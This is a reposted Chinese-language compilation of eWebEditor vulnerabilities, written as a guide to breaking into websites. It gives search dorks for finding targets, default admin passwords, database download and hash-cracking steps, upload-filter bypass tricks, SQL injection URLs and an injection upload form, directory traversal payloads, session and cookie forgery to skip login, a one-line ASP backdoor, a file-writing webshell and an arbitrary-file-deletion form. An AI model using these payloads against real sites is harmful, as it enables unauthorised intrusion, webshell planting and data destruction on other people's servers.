zoukankan      html  css  js  c++  java
  • Ewebeditor最新漏洞及漏洞大全

    Ewebeditor最新漏洞及漏洞大全[收集]

    来源:转载作者:佚名时间:2009-06-03 00:04:26

    下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,如今的站点大多数用的都是ewebeditor编辑器,

    所以ewebeditor漏洞的危害性还是相当大的,做了一下漏洞收集,漏洞修补的方法可去网上查找。

    漏洞更新日期TM 2009 2 9转自zake’S Blog
            ewebeditor
    最新漏洞。这个程序爆漏洞一般都是直接上传的漏洞,首先在本地搭建一个ASP环境重命名一个木马名字比如:1.gif.asp这种就OK
    那么接下来完美本地搭建一个环境你能够用WEB小工具搭建一个,目的就是让远程上传。http://127.0.0.1/1.gif.asp搭建好了,在官方的地方运行网络地址然后确定以后,

     这里是最关键的一部!


     这里点了远程上传以后,再提交得到木马地址

    因为官方在图片文件夹做了限制导致不能运行ASP脚本而没能拿到WEB权限。
    属于安全检測漏洞版本号ewebeditor v6.0.0

    曾经的ewebeditor漏洞:

    ewebeditor注入漏洞

    大家都知道ewebeditor编辑器默认的数据库路径db/ewebeditor.mdb
    默认后台地址是admin_login.asp,另外存在遍历文件夹漏洞,假设是asp后缀的数据库还能够写入一句话
    今天我给大家带来的也是ewebeditor编辑器的入侵方法
    只是一种是注入,一种是利用upload.asp文件,本地构造
    NO1
    :注入
    http://www.XXX.com/ewebeditor2007/ewebeditor.asp?id=article_content
    &style=full_v200
    编辑器ewebedior7曾经版本号通通存在注入
    直接检測不行的,要写入特征字符
    我们的工具是不知道ewebeditor的表名的还有列名
    我们自己去看看
    哎。。先表吧
    要先加入进库
    開始猜账号password了
    我们==
    心急的往后拉
    出来了
    [sys_username]:bfb18022a99849f5 chaoup[sys_userpass]:0ed08394302f7d5d 851120
    对吧^_^
    后面不说了
    NO2
    :利用upload.asp文件,本地构造上传shell
    大家看这里
    http://www.siqinci.com/ewebeditor2007/admin_style.asp?action=stylepreview
    &id=37
    假设遇见这种情况又无法加入工具栏是不是非常郁闷
    如今不郁闷了,^_^源源不一般
    我们记录下他的样式名“aaa”
    我已经吧upload.asp文件拿出来了
    我们构造下
    OK
    ,我之前已经构造好了
    事实上就是这里
    <form action=”
    地址/path/upload.asp?action=save&type=&style=样式名” method=post name=myformenctype=”multipart/form-data”>
    <input type=file name=uploadfile size=1 style=”100%”>
    <input type=submit value=”
    上传了”></input>
    </form>
    以下我们执行他上传个大马算了
    UploadFile
    上传进去的在这个文件夹下
    2008102018020762.asa

    过往漏洞:

    首先介绍编辑器的一些默认特征:
    默认登陆admin_login.asp
    默认数据库db/ewebeditor.mdb
    默认帐号admin passwordadminadmin888
    搜索keyword:”inurl:ewebeditor”keyword十分重要
    有人搜索”eWebEditor -eWebSoft在线编辑器
    根本搜索不到几个~
    baidu.google
    搜索inurl:ewebeditor
    几万的站起码有几千个是具有默认特征的~
    那么试一下默认后台
    http://www.xxx.com.cn/admin/ewebeditor/admin_login.asp

    试默认帐号password登陆。
    利用eWebEditor获得WebShell的步骤大致例如以下:
    1
    .确定站点使用了eWebEditor。一般来说,我们仅仅要注意发表帖子(文章)的页面是否有类似做了记号的图标,就能够大致做出推断了。
    2
    .查看源码,找到eWebEditor的路径。点击查看源码,看看源码中是否存在类似“<iframe ID=’eWebEditor1′ src=’/edit/ewebeditor.asp?id=content&style=web’frameborder=0 scrolling=no width=’550′ HEIGHT=’350′></iframe>”的语句。事实上仅仅有发现了存在这种语句了,才干够真正确定这个站点使用了eWebEditor。然后记下src=’***’中的“***”,这就是eWebEditor路径。
    3
    .訪问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一文件夹下。以上面的路径为例,我们訪问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。
    假设没有看到这种页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。只是一般来说,我非常少看到有哪个管理员删了这个页面,试试默认的username:admin,password:admin888。怎么样?成功了吧(不是默认账户请看后文)!
    4
    .添加上传文件类型。点击样式管理,随便选择列表中底下的某一个样式的设置,为什么要选择列表中底下的样式?由于eWebEditor自带的样式是不同意改动的,当然你也能够拷贝一个新的样式来设置。
    然后在上传的文件类型中添加“asa”类型。
    5
    .上传ASP木马,获得WebShell。接下来将ASP木马的扩展名改动为asa,就能够简单上传你的ASP木马了。不要问我怎么上传啊,看到预览 了吗?点击预览,然后选择插入其他文件的button就能够了。
    漏洞原理
    漏洞的利用原理非常easy,请看Upload.asp文件:
    不论什么情况下都不同意上传asp脚本文件
    sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
    由于eWebEditor只过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件须要过滤,为什么不同一时候过滤asacer等文件呢?或许这就是对免费用户不负责任的表现吧!
    高级应用
    eWebEditor
    的漏洞利用另一些技巧:
    1
    .使用默认username和password无法登录。
    请试试直接下载db文件夹下的ewebeditor.mdb文件,username和password在eWebEditor_System表中,经过了md5加密,假设无法下载或者无法破解,那就当自己的运气不好了。
    2
    .加了asa类型后发现还是无法上传。
    应该是站长懂点代码,自己改动了Upload.asp文件,可是没有关系,依照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt),“ASP”, “”)一句上改动,我就看见过一个站长是这样改动的:
    sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”,“”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)
    猛一看什么都过滤了,可是我们仅仅要在上传类型中添加“aaspsp”,就能够直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了“asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,事实上动网论坛7.0 sp2中也能够利用类似的方法绕过对扩展名的过滤。
    3
    .上传了asp文件后,却发现该文件夹没有执行脚本的权限。
    呵呵,真是好笨啊,上传类型能够改,上传路径不是也能够改动的吗?细致看看图四。
    4
    .已经使用了第2点中的方法,可是asp类型还是无法上传。
    看来站长肯定是一个写asp的高手,可是我们还有最后一招来对付他:看到图三中的远程类型了吗?eWebEditor可以设定自己主动保存远程文件的类型,我们可以增加asp类型。可是怎样才干让远程訪问的asp文件可以以源代码形式保存呢?方法是非常多的,最简单的方法是将IIS中的应用文件映射中的“asp”删除。
    后记
    依据自己的经验,差点儿仅仅要能进入eWebEditor的后台管理,基本上都可以获得WebShell。在Google上搜索“ewebeditor.asp?id=”可以看到长达十多页的相关信息,我大致抽查了当中几个,发现成功率约为50%。还不错吧?oblg 2.52版曾经的版本号也是使用eWebEditor,能够去搜索几个来练练手。要命的是eWebEditor的官方站点和帮助文件里根本没有这方面的安全提示。还有,我发现官方提供的測试系统并不存在类似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上!

     

     

     

     

    eWebEditor=>2.8 商业版后台一句话木马利用

    登陆后台,点击改动password---新password设置为 1":evalrequest("a")

    设置成功后,訪问asp/config.asp文件就可以,一句话木马被写入到这个文件中面了.  

     

     

     

     

    ewebeditor漏洞利用总结

         先从最主要的记录起!通常入侵ewebeditor编辑器的过程例如以下:

    1、首先訪问默认管理页看是否存在。

           默认管理页地址2.80曾经为 ewebeditor/admin_login.asp 以后版本号为admin/login.asp (各种语言的大家自己改后缀,本文就以asp来进行说明,以下不再细说了!)

    2、默认管理帐号password!

           默认管理页存在!我们就用帐号password登陆!默认帐号password为: admin admin888 !经常使用的password还有admin admin999 admin1 admin000 之类的。

    3、默认数据库地址。

           假设password不是默认的。我们就訪问是不是默认数据库!尝试下载数据库得到管理员password!管理员的帐号password,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。得到了加密password。能够去www.cmd5.com www.xmd5.org 等站点进行查询!暴力这活好久不干了!也能够丢国外一些能够跑password的站点去跑!

           默认数据库路径为:ewebeditor/db/ewebeditor.mdb 经常使用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.aspewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdbewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb

           非常多管理员常改.asp后缀,一般訪问.asp .asa 后缀的都是乱码!能够用下载工具下载下来,然后更改后缀为.mdb 来查看内容!

    4、说说漏洞基本利用步骤,还以asp为例!

           登陆后台以后。选择样式管理,默认编辑器的默认样式都不能够改动的。我们能够从随意样式新建一个样式,然后在图片上传加入可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。可是我们能够用.asaspp后缀来加入,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不具体说了。总之是个非常可笑的过滤!相同,假设遇到一个管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都全然禁止了,我们也能够用.asasaa 后缀来突破。加入完了后缀,能够在样式管理,点击预览,然后上传!

    5、默认管理页不存在!

           在实际入侵过程中,有非常多默认的管理页不存在的时候。我们能够直接訪问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。假设样式管理页也不存在的话,我们能够看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。然后构造上传!详细url例如以下:eWebEditor/ewebeditor.asp?id=content&style=www 红色部分是我们发现被改动加入了asa后缀的样式名,大家自行改动!

    6ewebeditor的几个版本号存在注入!

           ewebeditor 曾经版本号都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !

    加入验证字符串,和管理员字段能够跑出管理员的md5加密password!

          ewebeditor v2.1.6存在注入,能够用union select 加入上传后缀进行上传!先贴漏洞利用方式!

    --------------------------------------------------------------------------------------------------------------

    <H3>ewebeditor asp 2.1.6上传漏洞利用程序----</H3><br><br>

    <form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard'unionselectS_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrlfrom ewebeditor_style where s_name='standard'and'a'='a" method=postname=myform enctype="multipart/form-data">

    <input type=file name=uploadfilesize=100><br><br>

    <input type=submit value=Fuck>

    </form>

    --------------------------------------------------------------------------------------------------------------

           以上代码令存为html!改动红色部分的路径,然后自己主动上传 .cer 文件!漏洞原因是由于sStyleName变量直接从style中读取,并没有过滤,所以能够包括随意字符!用selectewebeditor_style表中查找s_namesStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,我们能够在sAllowExt中增加"|cer""|asa"等!

           另外另一些版本号的ewebeditorupload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!详细利用例如以下:

    ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1

    注意改动红色部分的字段名、位数、ascii码的值!

    7、文件夹遍历漏洞!

           这里大概说一下!文件夹遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本号的是ewebeditor/admin/upload.asp 文件!这个文件有的不须要登陆验证,有些须要!非常多有经验的管理员会把编辑器的文件夹设置为仅仅读权限,不可改动!这样的情况下,唯一能够利用的也就是利用遍历文件夹功能查看站点文件,比方数据库路径、后台地址、其它的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!

           漏洞利用方式例如以下:在上传文件管理页面随便选择一个上传样式!比方ewebeditor/admin_uploadfile.asp?id=14 id后面加入&dir=../..

    类似例如以下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/能够看到站点数据库的路径!

          另外一个遍历文件夹的漏洞文件是ewebeditor/asp/browse.asp

    漏洞代码为:

    Function GetList()

    Dim s_List, s_Url

    s_List = ""

    Dim oFSO, oUploadFolder, oUploadFiles,oUploadFile, sFileName

    'Response.Write sCurrDir

    'On Error Resume Next

    Set oFSO =Server.CreateObject("Scripting.FileSystemObject")

    Set oUploadFolder =oFSO.GetFolder(Server.MapPath(sCurrDir))

    '注意一下sCurrDir变量,这个值等下我们能够用到

    If Err.Number>0 Then

    s_List = ""

    Exit Function

    End If

     

    If sDir <> "" Then

    If InstrRev(sDir, "/") > 1Then

    s_Url= Left(sDir, InstrRev(sDir,"/") - 1)

    Else

    s_Url = ""

    End If

     

    s_List = s_List & "" & _

    "" & _

    ".." & _

    " " & _

    ""

    End If

    'Response.WritesDir&"!"&s_List

     

    Dim oSubFolder

    For Each oSubFolder InoUploadFolder.SubFolders

    'Response.Write oUploadFolder.SubFolders

    If sDir = "" Then

    s_Url = oSubFolder.Name

    Else

    s_Url = sDir & "/" &oSubFolder.Name

    End If

    s_List = s_List & "" & _

    "" & _

    "" & oSubFolder.Name &"" & _

    " " & _

    ""

    Next

    'Response.Write s_List

     

    Set oUploadFiles = oUploadFolder.Files

     

    For Each oUploadFile In oUploadFiles

    'Response.Write oUploadFile.Name

    sFileName = oUploadFile.Name

    If CheckValidExt(sFileName) = True Then

    '这行让人有点郁闷,检測了全部同意的文件后缀,如不同意就无法列出,不然就不仅仅列出文件夹名和图片文件了

    If sDir = "" Then

    s_Url = sContentPath & sFileName

    Else

    s_Url = sContentPath & sDir &"/" & sFileName

    End If

     

    s_List = s_List & "" & _

    "" & FileName2Pic(sFileName)& "" & _

    "" & sFileName &"" & _

    "" &GetSizeUnit(oUploadFile.size) & "" & _

    ""

    End If

    Next

    Set oUploadFolder = Nothing

    Set oUploadFiles = Nothing

    'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

     

    If sDir = "" Then

    s_Url = ""

    's_Url = "/"

    Else

    s_Url = "/" & sDir &""

    's_Url = "/" & sDir &"/"

    End If

     

    s_List = s_List & ""

    s_List = HTML2JS(s_List)

    'Response.WriteServer.HTMLEncode(s_List)&"!"&s_Url

    s_List = "parent.setDirList("""& s_List & """, """ & s_Url &""")"

    GetList = s_List

    End Function

    '假设没有以下这步检測的话,应该就能够列出文件夹中全部的文件了,有点郁闷..如今仅仅能列出同意后缀的文件和文件夹名

    Function CheckValidExt(s_FileName)

    If sAllowExt = "" Then

    CheckValidExt = True

    Exit Function

    End If

     

    Dim i, aExt, sExt

    sExt = LCase(Mid(s_FileName,InStrRev(s_FileName, ".") + 1))

    CheckValidExt = False

    aExt = Split(LCase(sAllowExt), "|")

    For i = 0 To UBound(aExt)

    If aExt(i) = sExt Then

    CheckValidExt = True

    Exit Function

    End If

    Next

    End Function

    '我们顺着代码往下找,发现sCurrDir的值是通过以下的值得到的

    Sub InitParam()

    sType =UCase(Trim(Request.QueryString("type")))

    sStyleName =Trim(Request.QueryString("style"))

     

    Dim i, aStyleConfig, bValidStyle

    bValidStyle = False

    For i = 1 To Ubound(aStyle)

    aStyleConfig = Split(aStyle(i),"|||")

    If Lcase(sStyleName) =Lcase(aStyleConfig(0)) Then

    bValidStyle = True

    Exit For

    End If

    Next

     

    If bValidStyle = False Then

    OutScript("alert('InvalidStyle.')")

    End If

     

    sBaseUrl = aStyleConfig(19)

    'nAllowBrowse = CLng(aStyleConfig(43))

    nAllowBrowse = 1

     

    If nAllowBrowse <> 1 Then

    OutScript("alert('Do not allowbrowse!')")

    End If

     

    sUploadDir = aStyleConfig(3)

    If Left(sUploadDir, 1) <>"/" Then

    Select Case sType

    Case "REMOTE"

    sUploadDir = "../../" &sUploadDir & "Image/"

    Case "FILE"

    sUploadDir = "../../" &sUploadDir & "Other/"

    Case "MEDIA"

    sUploadDir = "../../" &sUploadDir & "Media/"

    Case "FLASH"

    sUploadDir = "../../" &sUploadDir & "Flash/"

    Case Else

    sUploadDir = "../../" &sUploadDir & "Image/"

    End Select

    End If

    'sUploadDir =sUploadDir &"/"

     

    Select Case sBaseUrl

    Case "0"

    'sContentPath = aStyleConfig(23)

    Select Case sType

    Case "REMOTE"

    sContentPath = "../" &aStyleConfig(3) & "Image/"

    Case "FILE"

    sContentPath = "../" &aStyleConfig(3) & "Other/"

    Case "MEDIA"

    sContentPath = "../" &aStyleConfig(3) & "Media/"

    Case "FLASH"

    sContentPath = "../" &aStyleConfig(3) & "Flash/"

    Case Else

    sContentPath = "../" &aStyleConfig(3) & "Image/"

    End Select

    Case "1"

    sContentPath =RelativePath2RootPath(sUploadDir)

    Case "2"

    sContentPath =RootPath2DomainPath(RelativePath2RootPath(sUploadDir))

    End Select

     

    Select Case sType

    Case "REMOTE"

    sAllowExt = aStyleConfig(10)

    Case "FILE"

    sAllowExt = aStyleConfig(6)

    Case "MEDIA"

    sAllowExt = aStyleConfig(9)

    Case "FLASH"

    sAllowExt = aStyleConfig(7)

    Case Else

    sAllowExt = aStyleConfig(8)

    End Select

     

    sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址

    sDir = Trim(Request("dir")) '得到dir变量

    sDir = Replace(sDir, "","/") 'dir变量进行过滤

    sDir = Replace(sDir, "../","")

    sDir = Replace(sDir, "./","")

    If sDir <> "" Then

    If CheckValidDir(Server.Mappath(sUploadDir& sDir)) = True Then

    sCurrDir = sUploadDir & sDir &"/"

    '重点就在这里了,看到没有,sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了

    '尽管上面对sDir进行了过滤,只是我们全然能够跳过.详细利用以下的利用中给出

    Else

    sDir = ""

    End If

    End If

    End Sub

    利用方式例如以下:

    http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin

    这样子就能够看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源码,就能够看到文件夹列表了!

    8session欺骗漏洞!

           适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到password的时候能够尝试欺骗进入后台!顺序例如以下:

             新建一个.asp文件,内容例如以下:<%Session("eWebEditor_User") = "123132323"%> 然后訪问这个文件,再訪问ewebeditor/admin_default.asp!欺骗进入后台!只是非常老了!

    9、后台跳过认证漏洞!

           訪问后台登陆页面!随便输入帐号password,返回错误!然后清空浏览器,在地址栏输入

    javascript:alert(document.cookie="adminuser="+escape("admin"));

    javascript:alert(document.cookie="adminpass="+escape("admin"));

    javascript:alert(document.cookie="admindj="+escape("1"));

            然后再清空地址栏,在路径里输入后台登陆后的页面,比方: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!

    10、利用远程上传功能!

           比方s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比方:http://site.com/1.gif.asp ! 然后选择上传远程文件!自己主动就把1.gif.asp 保存在上传文件夹内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp可是不能訪问,由于收集过来的时候自己主动截止在1.gif了所以后面的.asp等于没有!并且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候运行,我们文件的代码生成另外的小马!

           利用代码例如以下:

    首先建立1.gif.asp 代码例如以下

    <%

    Set fs =CreateObject("Scripting.FileSystemObject")

    SetMyTextStream=fs.OpenTextFile(server.MapPath("akteam.asp"),1,false,0)

    Thetext=MyTextStream.ReadAll

    response.write thetext

    %>

    在我们的1.gif.asp的同文件夹下建立一个akteam.asp文件,内容就是我们的小马:

    <%on error resume next%>

    <%ofso="scripting.filesystemobject"%>

    <%set fso=server.createobject(ofso)%>

    <%path=request("path")%>

    <%if path<>"" then%>

    <%data=request("dama")%>

    <%setdama=fso.createtextfile(path,true)%>

    <%dama.write data%>

    <%if err=0 then%>

    <%="success"%>

    <%else%>

    <%="false"%>

    <%end if%>

    <%err.clear%>

    <%end if%>

    <%dama.close%>

    <%set dama=nothing%>

    <%set fos=nothing%>

    <%="<form action=''method=post>"%>

    <%="<input type=textname=path>"%>

    <%="<br>"%>

    <%=server.mappath(request.servervariables("script_name"))%>

    <%="<br>"%>

    <%=""%>

    <%="<textarea name=dama cols=50rows=10 width=30></textarea>"%>

    <%="<br>"%>

    <%="<input type=submitvalue=save>"%>

    <%="</form>"%>

    利用上面说的远程上传的方式!能够得到webshell!成功率取决于,虚拟主机的安全设置!

    11、随意文件删除漏洞!

           此漏洞存在于ExampleNewsSystem文件夹下的delete.asp文件里,这是ewebeditor的測试页面,无须登陆能够直接进入!看代码

    ' 把带"|"的字符串转为数组

    Dim aSavePathFileName

    aSavePathFileName = Split(sSavePathFileName, "|")

    ' 删除新闻相关的文件,从目录中

    Dim i

    For i = 0 To UBound(aSavePathFileName)

    ' 按路径文件名称删除文件

    Call DoDelFile(aSavePathFileName(i))

    Next

    aSavePathFileName是前面从数据库取出来的:

    sSavePathFileName =oRs("D_SavePathFileName")

    看看D_SavePathFileName是怎么加入到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName =GetSafeStr(Request.Form("d_savepathfilename"))

    ...

    oRs("D_SavePathFileName") =sSavePathFileName

     

    竟然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

    Function GetSafeStr(str)

    GetSafeStr =Replace(Replace(Replace(Trim(str), "'", ""), Chr(34),""), ";", "")

    End Function

           既然路径没有过滤,那就能够直接定义了,构造一个提交页面,当中d_savepathfilename自己随意赋值(要删除多个文件,用|隔开就可以)。试试../../eWebEditor.asp,提交后删除该新闻,于是主文件夹下的eWebEditor.asp不见了!漏洞利用:

    <HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(>

    新闻列表%20|%20添加新闻

    添加新闻

    http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"

    method="post"name="myform">

       <input type=hidden name=d_originalfilename>

       <input type=hidden name=d_savefilename>

       <table cellspacing=3 align=center>

    <tr><td>要删的文件(相对路径就能够了)</td>

    <td><input type="text"name="d_savepathfilename" value=""size="90"></td>

    </tr>

    <tr><td>新闻标题(随便填)</td>

    <td><input type="text"name="d_title" value="" size="90"></td>

    </tr>

    <tr><td>标题图片:</td>

    <td><selectname="d_picture" size=1><option value=''></option></select>

    当编辑区有插入图片时,将自己主动填充此下拉框</td>

    </tr>

    <tr><td>新闻内容(随便填)</td>

    <td><textareaname="d_content"></textarea></td>

    </tr>

    </table>

    <input type=submit name=btnSubmitvalue=" 提交 ">

    <input type=reset name=btnResetvalue=" 重填 ">

    </form>

    </BODY></HTML>

    删除文件漏洞通常是配合其它漏洞使用的,比方文件夹遍历

    <a href='list.asp'>中的list.asp地址要改动

    <a href='add.asp'>中的add.asp地址要改动

    <formaction="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"

    (http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要改动)

           另外一个简单利用方式:

    <formaction="http://www.xxxbing.com/editor/example/newssystem/addsave.asp"method="post">

    <input type=hiddenname=d_originalfilename value="x">

    <input type=hidden name=d_savefilenamevalue="x">

    要删除的文件(相对路径,多个文件用“|”隔开)<br>

    <input type=textname=d_savepathfilename>

    <input type=hiddenname="d_title" value="x">

    <input type=hiddenname="d_picture" value="x">

    <textareaname="d_content">x</textarea>

    <input type=submit name=btnSubmitvalue="submit">

    </form>

     

    然后得到返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]

           有几个版本号的ewebeditor上传类型是在security.asp 文件控制的!直接删除该文件能够上传随意webshell

    12、其它!

           其它说点什么呢!以上的办法都是本人经验和网上搜集!临时就想到这些了,以后想到了再补全!说说aspxphp jsp版本号的利用吧!

    ASPX版:

    受影响文件:eWebEditorNet/upload.aspx

    利用方法:添好本地的cerShell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/如今来看看是否上传成功.....

    PHP版本号:PhP版本号和asp版本号利用方式类似!只是php权限较高,不多废话了!

    jsp版本号:网上有非常多jsp的版本号,根本没有对上传文件类型进行检測!须要注意的是jsp版本号的没有上传button!直接选择文件,回车就能够提交了!

     

     

    安脚本分主要有4个版本号,ASP/ASPX/PHP/JSP 每一个版本号都有能够利用的漏洞。

     

    安全漏洞

    管理员未对编辑器的数据库路径和名称进行改动,导致能够利用编辑器默认路径直接对站点数据库进行下载。

    管理员未对编辑器的用户登录路径进行改动,导致黑客能够利用站点数据库所获得的username和password直接登陆编辑器管理后台。

     

    ASP

    重要文件的名称和路径

    Admin_login.asp

    Admin_default.asp

    Admin_style.asp

    Admin_uploadfile.asp

    Upload.asp

    Admin_modipwd.asp

    eWebEditor.asp

    db/ewebeditor.mdb

     

    一般用这个的默认后台的URL都是默认的

    www.***.com/admin/ewebeditor/login_admin.asp

    www.***.com/ewebeditor/login_admin.asp

    www.***.com/admin/eweb/login_admin.asp

    www.***.com/admin/editor/login_admin.asp

     

    下载数据库

    还有假设默认的账户和password改动了,我们能够下载他们的数据库,然后本地破解MD5

    默认数据库…/db/ewebeditor.mdb  或者。../db/ewebeditor.asp

     

    登录后台后,点击样式管理,随便选择一个样式,自带的样式不能改动的。

    拷贝一个样式,在其他类型中添加,asa类型,接下来把免杀的asp木马的后缀名改成asa,返回管理首页,点击预览,然后选择插入其他文件的button进行asp木马的上传,上传的ASP木马就在,UploadFILE目录里。

     

    假设加了asa类型后发现还是无法上传。应该是站长懂点代码,自己改动了Upload.asp文件,可是没有关系,依照常人的思维习惯,往往直接在sAllowExt =Replace(UCase(sAllowExt),”asp”,””)一句上改动。

    可是我们仅仅要在上传类型中添加“aaspsp,就能够传asp文件了,

    假设上述两种方法都失败了,则利用eWebEditor可以设定自己主动保存远程文件的类型,我们可以增加asp类型。可是怎样才干让远程訪问的asp文件可以以源代码形式保存呢?方法是非常多的,最简单的方法是将IIS中的应用文件映射中的ASP删除。

    有的站数据库设置了仅仅读属性,这种站你是无法新加样式的,这种站你能够看他数据库里的样式设置情况,一般非常多时候都是让人给拿过的,并且明显的asa在那里。这种话就能够直接构造一个调用这个样式的连接来上传shell.

    比方发现数据库里有样式123他设置的是能够上传asa的话,那么就能够这样调用:http://www.***.com/eweb/ewebeditor.asp?id=contentCN&style=123

    这样就能够直接上传了,然后在点编辑就会找到shell的路径了。事实上这个漏洞主要是upload.asp的过滤不严造成的,新版的应该都修复了,详细爱影响的版本号我也没统计过。

    遍历路径

    Ewebeditor遍历路径漏洞,当数据库仅仅读的时候,ewebeditor/admin_uploadfile.asp?id=14id=14后面加入&dir=再加&dir=/&dir=http://www.****.com// 看到整个站点文件了,只是此项測试的时候发现,仅仅有登录成功才干进行操作。

    Cookie漏洞

    漏洞文件:admin_private.asp

    漏洞语句:

    <% if session (“eWebEditor_User”) = “”Then

    Response.Redirect “admin_login.asp”

    Response.End

    End If

    仅仅推断了session,没有推断cookies和路径的验证问题。

    漏洞利用:

    新建一个mrchen.asp内容例如以下:

    <%Session (“eWebEditor_User”) =”11111111”%>

    訪问mrchen.asp,再訪问后台不论什么文件,forexample:Admin_Default.asp这个拿shell的方法就简单了。

  • 相关阅读:
    希腊字母写法
    The ASP.NET MVC request processing line
    lambda aggregation
    UVA 10763 Foreign Exchange
    UVA 10624 Super Number
    UVA 10041 Vito's Family
    UVA 10340 All in All
    UVA 10026 Shoemaker's Problem
    HDU 3683 Gomoku
    UVA 11210 Chinese Mahjong
  • 原文地址:https://www.cnblogs.com/gcczhongduan/p/4548834.html
Copyright © 2011-2022 走看看